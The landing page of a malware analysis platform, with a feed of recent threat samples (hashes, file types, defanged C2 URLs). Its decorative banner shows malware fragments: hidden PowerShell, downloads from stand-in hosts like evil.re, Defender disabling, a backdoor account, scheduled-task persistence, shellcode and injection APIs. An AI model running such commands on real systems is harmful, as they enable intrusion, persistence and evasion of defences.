ZIP · DOCX · XLSX
OLE · CFB · Container
VBA Macro · P-Code
Base64 · XOR · Obfusc.
Shellcode · Loader
// MALICIOUS PAYLOAD
@echo off
cmd /c powershell -nop -w hidden
-enc JABzAD0ATgBlAHcALQBP...
certutil -decode drop.b64 out.exe
regsvr32 /s /n /u /i:http://c2.re
mshta http://evil.re/stage.hta
rule Malware_Dropper {
strings:
$mz = { 4D 5A ?? ?? }
$ps = "powershell" nocase
$b64 = /[A-Za-z0-9+\/]{40,}/
condition: all of them
}
50 4B 03 04 14 00 06 00
// ZIP magic — outer container
Set sh=CreateObject("WScript.Shell")
sh.Run "powershell -ep bypass",0,True
Set x=CreateObject("MSXML2.XMLHTTP")
x.Open "GET", strUrl, False
wscript //B //NoLogo drop.vbs
ShellExecuteA
WinExec
CreateProcessA
InternetOpenA
URLDownloadToFile
Function Deobf(s As String)
For i = 1 To Len(s)
r = r & Chr(Asc(Mid(s,i,1))
Xor &H41)
Next i : Deobf = r
End Function
Invoke-Expression $decoded
[Assembly]::Load($buf).EntryPoint
Add-MpPreference
-ExclusionPath
$env:APPDATA
Set-MpPreference
-DisableRealtime $true
...\CurrentVersion\Run
$b=[Convert]::FromBase64String(
"JABzAD0ATgBlAHcALQBPAGIA")
%COMSPEC:~0,1%%COMSPEC:~9,1%
Chr(112)&Chr(111)&Chr(119)
agBlAGMAdAAoACcAaAB0AHQA
cAB0ADoALwAvAGUAdgBpAGwA
cgBlAC4AcgBlAC8AcABhAHkA
XOR key: 0x41
ROT13 + base64
RC4 stream cipher
net user backdoor
P@ss1234! /add
schtasks /create
/sc minute /mo 5
\x48\x31\xC0\x48\xB8\x63\x61
\x6C\x63\x00\x50\xFF\xD0\x90
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
NtUnmapViewOfSection
GetProcAddress
LoadLibraryA
4D 5A 90 00 03 00 FF FF
0xfc,0x48,0x83,0xe4,0xf0,0xe8
0xcc,0x00,0x00,0x00,0x41,0x51
0x41,0x50,0x52,0x51,0x56,0x48
invoke-webrequest -uri $c2
-outfile $env:TEMP\svc32.exe
Start-Process -WindowStyle Hidden
AAAA%p%p%p%p%x.%x.%x
ZwQueryInformationProcess
// THREAT INTELLIGENCE PLATFORM
Unlock the future of
Extended Malware
Analysis.
Advanced static & structural analysis for cybersecurity experts.
200+
Formats
YARA
Rule Engine
AI
Powered
// Recent threats
dcae184ef31a93b263ab112b5e112b91
Microsoft Office document
an hour ago
81852649dda64bdf281e4f8fa45c5134
PowerShell Script
an hour ago
C2: https[:]//corretto.aws/downloads/resou[...]jdk.zip
58fbbef22a1f75dd3febf0f810e7d9a8
Shortcut Link File
2 hours ago
4c8ed3f11561a13d7a9b3516ee8c59d6
ZIP archive
3 hours ago
336ba30bceb4e77bd09db684a4132f79
Shortcut Link File
3 hours ago
C2: https[:]//farea.jp/wp/.well-known/acme[...]e/1.txt
2bb789225eac036c88c86662e020d987
PowerShell Script
4 hours ago
6028fcf88b56a4b294f2860f34581dba
VBScript file
4 hours ago
533c0f04ebe55e7b728584419387bde7
VBScript file
4 hours ago
f6ea089e71aad87d27c5e58e814ca496
PowerShell Script
4 hours ago
83bb39cc2213b23646062e23f7ed4b08
PowerShell Script
4 hours ago
c460a053ca024a2c8006539bd2ff7f4d
PowerShell Script
4 hours ago
5ab9b307e592a64992bccdfdea8cdd46
ZIP archive
4 hours ago
C2: https[:]//shorturl.at/7hM1u
0cc4776235302252f9d6b28daf007366
Portable Executable file
4 hours ago
Go Loader (Factory-v3)
5cfcab352b3a129b0e52e18cc49629f7
PowerShell Script
6 hours ago
C2: https[:]//threejrev.com/g.php
491da44038665b26c46ed4d7c456284e
VBScript file
8 hours ago
549d78eeb5cdbf236c9e28869f1e2ce0
VBScript file
10 hours ago
41ddc45e11fed0123c88807430511282
VBScript file
10 hours ago
afb9ab93bbd9fecc64e8ea63b823396f
PowerShell Script
13 hours ago
ddcb54e51f446b060df915ccc11c97c1
Portable Executable file
13 hours ago
Go Loader (Factory-v3)
527856018b0bf5e70be3205e4d5fa859
Portable Executable file
14 hours ago
AsyncRAT
C2: fifaclubchamps.com
Connect & explore more →
Sign in
New user?
Create an account →
Email address
Continue
or
Continue with Google
Continue with Microsoft
MALVA.RE · SECURE ACCESS · v2
An error has occurred. This application may no longer respond until reloaded.
Reload
🗙